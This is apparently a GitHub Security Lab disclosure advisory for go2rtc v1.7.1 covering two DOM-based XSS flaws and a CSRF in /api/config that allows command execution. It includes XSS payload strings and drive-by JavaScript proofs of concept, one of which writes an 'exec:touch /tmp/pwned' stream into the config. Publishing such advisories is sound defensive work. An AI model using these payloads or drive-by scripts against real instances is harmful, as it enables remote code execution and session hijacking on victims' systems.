Coordinated Disclosure Timeline

Summary

Go2rtc is susceptible to a cross-site scripting (XSS) vulnerability and an arbitrary command execution vulnerability due to the lack of user-input sanitization.

Project

go2rtc

Tested Version

v1.7.1

Details

Issue 1: DOM-based cross-site scripting in links.html (GHSL-2023-205)

The links page (links.html) appends the src GET parameter ([0]) in all of its links for 1-click previews.

<!-- https://github.com/alexxit/go2rtc/blob/c8ac6b22713205f6d86c2a10cfb03a6ce5000c69/www/links.html#L46 -->
<script>
    const src = new URLSearchParams(location.search).get('src'); // [0]

    document.getElementById('links').innerHTML = ` // [1]
        <h2>Any codec in source</h2>
        <li><a href="stream.html?src=${src}">stream.html</a> with auto-select mode / browsers: all / codecs: H264, H265*, MJPEG, JPEG, AAC, PCMU, PCMA, OPUS</li>
        <li><a href="api/streams?src=${src}">info.json</a> page with active connections</li>
    `;
</script>

The context in which src is being appended is innerHTML ([1]), which will insert the text as HTML.

This vulnerability was found using CodeQL’s Client-side cross-site scripting query.

Impact

This issue may lead to DOM-based Cross-site scripting.

Proof of Concept

Payload: foo">foo</a></li><img src=x onerror=alert(document.location)><!--

Issue 2: Cross-site scripting in index.html (GHSL-2023-207)

The index page (index.html) shows the available streams by fetching the API ([0]) in the client side.

<script>
    // ...

    function reload() {
        const url = new URL('api/streams', location.href);
        fetch(url, {cache: 'no-cache'}).then(r => r.json()).then(data => { // [0]
            tbody.innerHTML = '';

            for (const [name, value] of Object.entries(data)) { // [1]
                // ...
                const tr = document.createElement('tr');
                tr.dataset['id'] = name;
                tr.innerHTML =
                    `<td><label><input type="checkbox" name="${name}">${name}</label></td>` + // [2]
                    `<td><a href="api/streams?src=${src}">${online} / info</a></td>` +
                    `<td>${links}</td>`;
                tbody.appendChild(tr);
            }
        });
    }

    // ...

    reload();
</script>

Then, uses Object.entries to iterate over the result ([1]) whose first item (name) gets appended using innerHTML ([2]).

Impact

This issue may lead to DOM-based Cross-site scripting.

Proof of Concept

Payload: foo"><img+src="x"+onerror=alert(document.location)><!--

Drive-by proof of concept

In order to exploit this vulnerability in a drive-by fashion, set up a server hosting the following snippet:

const poc = async () => {
    await fetch('/api/streams?src=foo&name=aaa"><img+src="x"+onerror=alert(document.location)><!--', {
        method: 'PUT',
    });

    document.location = '/';
}

poc();

In the event of a victim visiting the server in question, their browser will execute the request (see Proof of Concept) against the go2rtc instance. After the request, the browser will be redirected to go2rtc, in which the XSS would be executed in the context of go2rtc’s origin. Learn more about drive-by vulnerabilities in this post.

Issue 3: Cross-site Request Forgery in /api/config (GHSL-2023-206)

The /api/config endpoint allows to modify the existing configuration with user-supplied values. While the API is only allowing localhost to interact without authentication, an attacker may be able to achieve that depending on how go2rtc is set up on the upstream application, and given that this endpoint is not protected against CSRF, it allows requests from any origin (e.g. a “drive-by” attack) .

The exec handler allows for any stream to execute arbitrary commands.

func Init() {
	// ...
	streams.HandleFunc("exec", execHandle)
}

func execHandle(url string) (core.Producer, error) {
	args := shell.QuoteSplit(url[5:]) // remove `exec:`
	// ...
	cmd := exec.Command(args[0], args[1:]...)
	// ...
	return handleRTSP(url, path, cmd)
}

func handleRTSP(url, path string, cmd *exec.Cmd) (core.Producer, error) {
	// ...

	if err := cmd.Start(); err != nil {
		log.Error().Err(err).Str("url", url).Msg("[exec]")
		return nil, err
	}

	// ...
}

An attacker may add a custom stream like the following through /api/config:

streams:
    foo: exec:touch /tmp/pwned

Impact

This issue may lead to Arbitrary Command Execution

Proof of Concept

Drive-by proof of concept

In order to exploit this vulnerability in a drive-by fashion, set up a server hosting the following snippet:

const poc = async () => {

    let new_stream = `streams:
  foo: exec:touch /tmp/pwned`

    await fetch('/api/config', {
        method: 'PATCH',
        body: new_stream,
    });

    await fetch('/api/exit?code=100', {
        method: 'POST'
    })

    await new Promise(r => setTimeout(r, 10000));

    await fetch('/api/frame.jpeg?src=foo')
}

poc();

In the event of a victim visiting the server in question, their browser will execute the requests (see Proof of Concept) against the go2rtc instance. Learn more about drive-by vulnerabilities in this post.

CVE

Credit

These issues were discovered and reported by GHSL team members @jorgectf (Jorge Rosillo) and @maclarel (Logan MacLaren).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-205, GHSL-2023-206 or GHSL-2023-206 in any communication regarding these issues.